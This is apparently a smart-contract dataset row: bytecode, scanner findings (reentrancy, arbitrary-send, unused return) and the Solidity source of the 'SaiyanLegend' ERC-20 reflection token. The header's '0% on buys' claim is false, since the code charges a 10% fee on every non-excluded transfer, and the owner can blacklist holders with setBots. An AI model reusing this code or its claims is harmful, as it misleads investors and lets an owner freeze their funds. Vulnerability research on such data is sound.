b60006020820190508181036000830152612fd981612d05565b9050919050565b60006020820190508181036000830152612ff981612d28565b9050919050565b6000602082019050818103600083015261301981612d4b565b9050919050565b6000602082019050818103600083015261303981612d6e565b9050919050565b6000602082019050818103600083015261305981612d91565b9050919050565b6000602082019050818103600083015261307981612db4565b9050919050565b60006020820190506130956000830184612dd7565b92915050565b600060a0820190506130b06000830188612dd7565b6130bd6020830187612beb565b81810360408301526130cf8186612b7e565b90506130de6060830185612b6f565b6130eb6080830184612dd7565b9695505050505050565b600060208201905061310a6000830184612de6565b92915050565b600061311a61312b565b90506131268282613365565b919050565b6000604051905090565b600067ffffffffffffffff8211156131505761314f61343d565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006131c182613309565b91506131cc83613309565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115613201576132006133df565b5b828201905092915050565b600061321782613309565b915061322283613309565b9250826132325761323161340e565b5b828204905092915050565b600061324882613309565b915061325383613309565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561328c5761328b6133df565b5b828202905092915050565b60006132a282613309565b91506132ad83613309565b9250828210156132c0576132bf6133df565b5b828203905092915050565b60006132d6826132e9565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061332b82613309565b9050919050565b60005b83811015613350578082015181840152602081019050613335565b8381111561335f576000848401525b50505050565b61336e8261346c565b810181811067ffffffffffffffff8211171561338d5761338c61343d565b5b80604052505050565b60006133a182613309565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156133d4576133d36133df565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b61377c816132cb565b811461378757600080fd5b50565b613793816132dd565b811461379e57600080fd5b50565b6137aa81613309565b81146137b557600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220529eb044cca31330a0e6c59264a40e3e8ec5540a47039672d96a10af0161efb064736f6c63430008040033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}} | 10,128 |
0x76b4d131e0829bab5ae83503ec7c7c088c37ebd2 | /**
*Submitted for verification at Etherscan.io on 2021-11-23
*/
/**
*Submitted for verification at Etherscan.io
*/
/**
*
*/
/**
* SaiyanLegend the endless power token
* Website http://www.saiyanlegend.com
* Join our Telegram Group: https://t.me/saiyanlegend
* Tax is 0% on buys and 10% on sells only: 1% reflections, 4% marketing & 5% developement
* Bots will be blacklisted
*
*
*/
/**
*/
/**
*
*/
/**
*
*/
/**
*
*/
/**
*/
/**
*
*/
/**
*/
pragma solidity ^0.8.3;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract SaiyanLegend is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private constant _name = "SaiyanLegend";
string private constant _symbol = "SaiyanLegend";
uint8 private constant _decimals = 18;
uint256 private _taxFee;
uint256 private _teamFee;
uint256 private _previousTaxFee = _taxFee;
uint256 private _previousteamFee = _teamFee;
address payable private _FeeAddress;
address payable private _marketingWalletAddress;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor (address payable addr1, address payable addr2) {
_FeeAddress = addr1;
_marketingWalletAddress = addr2;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_FeeAddress] = true;
_isExcludedFromFee[_marketingWalletAddress] = true;
emit Transfer(address(0x0000000000000000000000000000000000000000), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if(_taxFee == 0 && _teamFee == 0) return;
_previousTaxFee = _taxFee;
_previousteamFee = _teamFee;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = _previousTaxFee;
_teamFee = _previousteamFee;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
_taxFee = 1;
_teamFee = 9;
if (from != owner() && to != owner()) {
require(!bots[from] && !bots[to]);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
require(amount <= _maxTxAmount);
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) {
_taxFee = 1;
_teamFee = 9;
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
_tokenTransfer(from,to,amount,takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_FeeAddress.transfer(amount.div(2));
_marketingWalletAddress.transfer(amount.div(2));
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 40000000000000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private {
if(!takeFee)
removeAllFee();
_transferStandard(sender, recipient, amount);
if(!takeFee)
restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() external {
require(_msgSender() == _FeeAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _FeeAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
} | 0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610364578063c3c8cd801461038d578063c9567bf9146103a4578063d543dbeb146103bb578063dd62ed3e146103e457610114565b8063715018a6146102ba5780638da5cb5b146102d157806395d89b41146102fc578063a9059cbb1461032757610114565b8063273123b7116100dc578063273123b7146101e9578063313ce567146102125780635932ead11461023d5780636fc3eaec1461026657806370a082311461027d57610114565b806306fdde0314610119578063095ea7b31461014457806318160ddd1461018157806323b872dd146101ac57610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e610421565b60405161013b9190612ddd565b60405180910390f35b34801561015057600080fd5b5061016b60048036038101906101669190612923565b61045e565b6040516101789190612dc2565b60405180910390f35b34801561018d57600080fd5b5061019661047c565b6040516101a39190612f5f565b60405180910390f35b3480156101b857600080fd5b506101d360048036038101906101ce91906128d4565b610490565b6040516101e09190612dc2565b60405180910390f35b3480156101f557600080fd5b50610210600480360381019061020b9190612846565b610569565b005b34801561021e57600080fd5b50610227610659565b6040516102349190612fd4565b60405180910390f35b34801561024957600080fd5b50610264600480360381019061025f91906129a0565b610662565b005b34801561027257600080fd5b5061027b610714565b005b34801561028957600080fd5b506102a4600480360381019061029f9190612846565b610786565b6040516102b19190612f5f565b60405180910390f35b3480156102c657600080fd5b506102cf6107d7565b005b3480156102dd57600080fd5b506102e661092a565b6040516102f39190612cf4565b60405180910390f35b34801561030857600080fd5b50610311610953565b60405161031e9190612ddd565b60405180910390f35b34801561033357600080fd5b5061034e60048036038101906103499190612923565b610990565b60405161035b9190612dc2565b60405180910390f35b34801561037057600080fd5b5061038b6004803603810190610386919061295f565b6109ae565b005b34801561039957600080fd5b506103a2610afe565b005b3480156103b057600080fd5b506103b9610b78565b005b3480156103c757600080fd5b506103e260048036038101906103dd91906129f2565b6110da565b005b3480156103f057600080fd5b5061040b60048036038101906104069190612898565b611226565b6040516104189190612f5f565b60405180910390f35b60606040518060400160405280600c81526020017f53616979616e4c6567656e640000000000000000000000000000000000000000815250905090565b600061047261046b6112ad565b84846112b5565b6001905092915050565b60006b033b2e3c9fd0803ce8000000905090565b600061049d848484611480565b61055e846104a96112ad565b6105598560405180606001604052806028815260200161366f60289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061050f6112ad565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b389092919063ffffffff16565b6112b5565b600190509392505050565b6105716112ad565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105fe576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105f590612ebf565b60405180910390fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006012905090565b61066a6112ad565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106f7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106ee90612ebf565b60405180910390fd5b80601160176101000a81548160ff02191690831515021790555050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166107556112ad565b73ffffffffffffffffffffffffffffffffffffffff161461077557600080fd5b600047905061078381611b9c565b50565b60006107d0600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c97565b9050919050565b6107df6112ad565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461086c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086390612ebf565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600c81526020017f53616979616e4c6567656e640000000000000000000000000000000000000000815250905090565b60006109a461099d6112ad565b8484611480565b6001905092915050565b6109b66112ad565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a43576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a3a90612ebf565b60405180910390fd5b60005b8151811015610afa57600160066000848481518110610a8e577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610af290613275565b915050610a46565b5050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b3f6112ad565b73ffffffffffffffffffffffffffffffffffffffff1614610b5f57600080fd5b6000610b6a30610786565b9050610b7581611d05565b50565b610b806112ad565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c0d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c0490612ebf565b60405180910390fd5b601160149054906101000a900460ff1615610c5d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c5490612f3f565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610cf030601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166b033b2e3c9fd0803ce80000006112b5565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610d3657600080fd5b505afa158015610d4a573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d6e919061286f565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610dd057600080fd5b505afa158015610de4573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e08919061286f565b6040518363ffffffff1660e01b8152600401610e25929190612d0f565b602060405180830381600087803b158015610e3f57600080fd5b505af1158015610e53573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e77919061286f565b601160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610f0030610786565b600080610f0b61092a565b426040518863ffffffff1660e01b8152600401610f2d96959493929190612d61565b6060604051808303818588803b158015610f4657600080fd5b505af1158015610f5a573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f7f9190612a1b565b5050506001601160166101000a81548160ff0219169083151502179055506001601160176101000a81548160ff0219169083151502179055506a21165458500521280000006012819055506001601160146101000a81548160ff021916908315150217905550601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401611084929190612d38565b602060405180830381600087803b15801561109e57600080fd5b505af11580156110b2573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110d691906129c9565b5050565b6110e26112ad565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461116f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161116690612ebf565b60405180910390fd5b600081116111b2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111a990612e7f565b60405180910390fd5b6111e460646111d6836b033b2e3c9fd0803ce8000000611fff90919063ffffffff16565b61207a90919063ffffffff16565b6012819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf60125460405161121b9190612f5f565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611325576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161131c90612f1f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611395576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161138c90612e3f565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516114739190612f5f565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114f0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114e790612eff565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611560576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161155790612dff565b60405180910390fd5b600081116115a3576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161159a90612edf565b60405180910390fd5b6001600a819055506009600b819055506115bb61092a565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561162957506115f961092a565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611a7557600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156116d25750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6116db57600080fd5b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156117865750601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156117dc5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156117f45750601160179054906101000a900460ff165b156118a45760125481111561180857600080fd5b42600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541061185357600080fd5b601e426118609190613095565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614801561194f5750601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156119a55750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156119bb576001600a819055506009600b819055505b60006119c630610786565b9050601160159054906101000a900460ff16158015611a335750601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611a4b5750601160169054906101000a900460ff165b15611a7357611a5981611d05565b60004790506000811115611a7157611a7047611b9c565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611b1c5750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611b2657600090505b611b32848484846120c4565b50505050565b6000838311158290611b80576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b779190612ddd565b60405180910390fd5b5060008385611b8f9190613176565b9050809150509392505050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611bec60028461207a90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611c17573d6000803e3d6000fd5b50600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611c6860028461207a90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611c93573d6000803e3d6000fd5b5050565b6000600854821115611cde576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611cd590612e1f565b60405180910390fd5b6000611ce86120f1565b9050611cfd818461207a90919063ffffffff16565b915050919050565b6001601160156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611d63577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611d915781602001602082028036833780820191505090505b5090503081600081518110611dcf577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611e7157600080fd5b505afa158015611e85573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611ea9919061286f565b81600181518110611ee3577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611f4a30601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846112b5565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e